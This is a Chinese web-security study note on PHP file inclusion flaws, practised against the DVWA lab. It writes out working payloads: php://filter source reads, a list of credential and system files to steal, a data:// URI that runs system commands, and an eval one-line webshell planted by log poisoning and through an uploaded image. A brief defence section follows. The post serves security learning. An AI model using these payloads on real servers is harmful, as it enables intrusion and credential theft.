基础知识

文件包含指的是一个文件动态引用另一个文件,这是一种非常灵活的动态调用方式。有点类似Java引用jar包,但区别在于jar包引用后一般是固定不变的(一般不能动态改变所引用的jar包名称),而文件包含可以将引用的文件名作为参数传递。php的文件包含举例:

利用原理

引用文件名作为传入参数暴露出来时,用户可传入任意文件名/恶意代码,且程序本身没有进行严格校验/过滤时,便会形成文件包含漏洞。其危害在于:

1. 泄露服务器敏感数据

2. 恶意代码注入(可能导致被getshell)

利用方式

用DVWA的文件包含(PHP+Aapche)举例,首先在php.ini中配置allow_url_fopen = On,allow_url_include = On。

此处通过参数page包含文件

1. 获取源码

输入:http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php

得到base64编码后的源码:

解码后得到index源码:

2. 读取服务器敏感文件

常用的系统敏感文件如下:

Windows系统

  • c:\boot.ini // 查看系统版本
  • c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
  • c:\windows\repair\sam // 存储Windows系统初次安装的密码
  • c:\ProgramFiles\mysql\my.ini // MySQL配置
  • c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
  • c:\windows\php.ini // php 配置信息

Linux/Unix系统

  • /etc/passwd // 账户信息
  • /etc/shadow // 账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
  • /usr/local/app/php5/lib/php.ini // PHP相关配置
  • /etc/httpd/conf/httpd.conf // Apache配置文件
  • /etc/my.conf // mysql 配置文件

输入:

http://localhost/dvwa/vulnerabilities/fi/?page=C:/Windows/system.ini

3. 执行操作系统命令

输入:  http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php system('whoami');?>

4. 利用日志注入恶意代码

首先通过访问phpinfo找到错误日志的存放路径:

输入:http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo();?>

用错误日志注入的思路是:

-》输入带有注入代码且能引发错误的语句

-》错误日志记录本次的输入(恶意代码注入错误日志)

-》通过文件包含漏洞访问错误日志,恶意代码被执行

输入php一句话木马:http://localhost/dvwa/vulnerabilities/fi/?page=<?php @eval($_POST['cmd']);?>

但是打开错误日志发现尖括号被转义了(抓包改也没用,依然被转义)。。。被转义之后注入代码无法执行,利用错误日志注入的路行不通了...>_<...

换访问日志再试一次(思路是一样的),访问日志尖括号会被编码,抓包改一下之后发现成功写入,一句话木马上传成功。

5. 结合文件上传漏洞

之前写图片上传的时候曾传过一个图片马(y.png)到服务器(https://www.cnblogs.com/sallyzhang/p/11906217.html),如果存在文件包含漏洞,可直接访问该图片马并执行图片马中的代码。

输入:http://localhost/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/y.png

防御方法

1. 使用PHP时配置php.ini:allow_url_fopen = off,allow_url_include = off

2. 对动态包含的文件可以设置白名单,不读取非白名单的文件

3. 尽量不使用动态包含(或者写死)

如需转载,请注明出处,这是对他人劳动成果的尊重~

Web安全测试学习笔记 - 文件包含的更多相关文章

  1. Web安全测试学习笔记 - DVWA+PHP环境搭建

    DVWA(Damn Vulnerable Web Application),是一个用PHP编写的,作为Web安全测试练习平台的合法环境(毕竟咱不能为了练习就随便找个网站去攻击...),也就是俗称的靶场 ...

  2. Linux学习笔记 -- 文件包含

    简述 简单来讲,shell 中的文件包含指的是在一个文件中引用另外一个文件.通过这种方式,我们可以将一些公用的代码封装为一个独立的文件,并在需要的时候引用它即可. 语法 . filename # 注意 ...

  3. Web安全测试学习笔记-DVWA-SQL注入-2

    接上一篇SQL注入的学习笔记,上一篇我通过报错信息得知后台数据库是MySQL(这个信息非常重要~),然后通过SQL注入拿到了用户表的所有行,其实我们还可以通过MySQL的特性来拿更多的信息. 1. 获 ...

  4. Web安全测试学习笔记(Cookie&Session)

    一,Session:含义:有始有终的一系列动作\消息1, 隐含了“面向连接” 和“保持状态”两种含义2, 一种用来在客户端与服务器之间保持状态的解决方案3, 也指这种解决方案的存储结构“把××保存在s ...

  5. Web安全测试学习笔记-DVWA-盲注(使用sqlmap)

    之前的sql注入页面(https://www.cnblogs.com/sallyzhang/p/11843291.html),返回了查询结果和错误信息.而下面的页面,返回信息只有存在和不存在两种情况, ...

  6. Web安全测试学习笔记-DVWA-登录密码爆破(使用Burp Suite)

    密码爆破简单来说,就是使用密码本(记录了若干密码),用工具(手工也可以,if you like...)一条条读取密码本中的密码后发送登录请求,遍历密码本的过程中可能试出真正的密码. 本文学习在已知登录 ...

  7. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  8. Web安全测试学习笔记-DVWA-存储型XSS

    XSS(Cross-Site Scripting)大致分为反射型和存储型两种,之前对XSS的认知仅停留在如果网站输入框没有屏蔽类似<script>alert('ok')</scrip ...

  9. Web安全测试学习笔记-DVWA-图片上传

    很多网站都有上传资源(图片或者文件)的功能,资源上传后一般会存储在服务器的一个文件夹里面,如果攻击者绕过了上传时候的文件类型验证,传了木马或者其他可执行的代码上去,那服务器就危险了. 我用DVWA的文 ...

随机推荐

  1. 10.python内置模块之os模块

    os模块的作用:os 模块提供了非常丰富的方法用来处理文件和目录(管理和维护目录以及文件). os.path模块的作用:主要用于获取文件的属性(管理路径的(物理地址)). 小生总结了一些平时常用到的属 ...

  2. 修改计算机名并更新sqlserver中存储的服务器名称

    1.  查看计算机名use master    go     select @@servername   select serverproperty('servername') 2.同步更新SQLse ...

  3. 第2章.数组和ArrayList

    2.1 数组基本概念 数组是可索引的数据的集合.数组既可以是内置的类型,也可以是用户自定义的类型.事实上,把数组数据称为对象大概是最简便的方式.C#中数组实际上就是对象的本身,因为它们都源于Syste ...

  4. 通过 Chrome浏览器 查看http请求报文

    as we all know  HTTP 请求报文 包含请求行.请求头和请求体三部分 请求行:(请求方式 资源路径 协议/版本) 例如:POST /test/index.html HTTP/1.1 P ...

  5. perfdog使用手册

    PerfDog(性能狗)测试须知 Android平台 ScreenShot(只支持USB模式) FPS(1秒内游戏画面或者应用界面真实平均刷新次数,俗称帖率/FPS) 1)Avg(FPS):平均帖率 ...

  6. Python三种注释及分行换行输出

    1.单行注释 以#开头,#右边的所有东西都被当成文字说明,而不是真正要执行的程序,只是起到辅助说明作用(#后需要先添加一个空格). 单行注释写到行内代码后边,或者单独一行均可. # 我是单行注释,#号 ...

  7. Jackson使用指南

    Jackson常用注解 序列化注解 @JsonAnyGetter 像普通属性一样序列化Map public class ExtendableBean { public String name; pri ...

  8. 嵊州D5T3 指令 program 神奇的位运算

    指令 program [问题描述] krydom 有一个神奇的机器. 一开始,可以往机器里输入若干条指令: opt x 其中,opt 是 & | ^ 中的一种,0 ≤ x ≤ 1023 . 对 ...

  9. 在eclipse更新启动项目

    说明:figfree是基于模块化开发,代码重用,可拆解性高. 功能模块分为:接口工程(*.Iface).接口实现工程(*.Impl).客户端工程(*.Client) 接口工程(*.Iface):对其他 ...

  10. gitlab 备份和恢复

    前言 gitlab这个代码托管工具真是强大,很多东西都是做好了直接用的. 这里就包括备份和恢复功能. 正文 备份 我们可以直接运行此命令,来进行备份. sudo gitlab-rake gitlab: ...